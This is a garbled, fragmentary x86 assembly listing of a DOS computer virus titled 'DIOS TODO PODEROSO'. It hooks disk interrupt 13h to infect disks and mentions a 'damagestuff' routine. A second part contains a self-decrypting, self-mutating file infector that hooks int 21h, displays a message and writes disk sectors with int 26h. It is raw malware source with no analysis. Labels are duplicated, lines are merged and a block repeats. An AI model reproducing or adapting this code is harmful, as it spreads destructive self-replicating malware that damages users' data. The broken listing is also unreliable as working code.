DIOS TODO PODEROSO
mp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h
int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ; disk 0 on?
jnz exitint13h ; if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]; first call old int 13h
pushf
call infectdisk ; then infect
popf
retf 2
exitint13h: pop ax
entervirus:
start: jmp begin org 200h
begin: jmp short beg
FileSize dw 0E00h; 02h
int21vec dd 0 ; 04h
oldint13 dd 0 ; 08h
oldint24 dd 0 ; 0Ch
Date dw 0 ; 10h
Time dw 0 ; 12h db 1 ; 14h
version dw 0 ; 15h - mutation status
beg: call codenext
codenext: pop si
mutation1: cli push ds pop es mov bp,sp mov sp,si add sp,3FEh-(offset codenext-offset begin)
mutation2: mov cx,ss mov ax,cs mov ss,ax pop bx dec sp dec sp add si,offset mybeg-offset codenext
codeloop: pop ax xor al,bh push ax dec sp cmp sp,si jnc codeloop
mybeg: mov ax,es dec ax mov ds,ax add word ptr ds:[3],-082h mov bx,ds:[3] mov byte ptr ds:[0],5ah inc ax inc bx add bx,ax mov es,bx mov ss,cx add si,offset begin-offset mybeg mov bx,ds mov ds,ax mov sp,bp push si xor di,di mov cx,400h cld rep movsb pop si push bx mov bx,offset inblock-offset begin push es push bx retf
inblock: mov es,ax mov ax,cs:[2] ; File Size add ax,100h mov di,si mov si,ax mov cx,400h rep movsb pop es xor ax,ax mov ds,ax sti cmp word ptr ds:[21h*4],offset int21-offset begin jne count sub word ptr es:[3],-082h test byte ptr ds:[46ch],11100111b jnz efect1 push cs pop ds mov si,offset msg-offset begin
efect2: lodsb or al,0 jz efect3 mov ah,0eh int 10h jmp short efect2
efect3: mov ah,32h xor dl,dl int 21h jc efect1 call setaddr call setint mov dx,ds:[bx+10h] mov ah,19h int 21h mov cx,2 int 26h pop bx call setint
efect1: jmp quit
count: add word ptr es:[12h],-082h mov bx,ds:[46ch] push ds push cs pop ds push cs pop es mov byte ptr ds:[14h],1 and bh,80h mov ds:[4ffh],bh test bl,00000001b jnz mut1 mov si,offset mutation1-offset begin add si,ds:[15h] lodsb xchg al,ds:[si] mov ds:[si-1],al
mut1:
mut1: test bl,00000010b jnz mut2 mov si,offset mutation2-offset begin add si,ds:[15h] lodsw xchg ax,ds:[si] mov ds:[si-2],ax
mut2: test bl,00000100b jnz mut3 mov si,offset codeloop-offset begin mov al,2 xor byte ptr ds:[si],al xor byte ptr ds:[si+2],al xor byte ptr ds:[si+3],al
DIOS TODO PODEROSO
mp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h
int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
...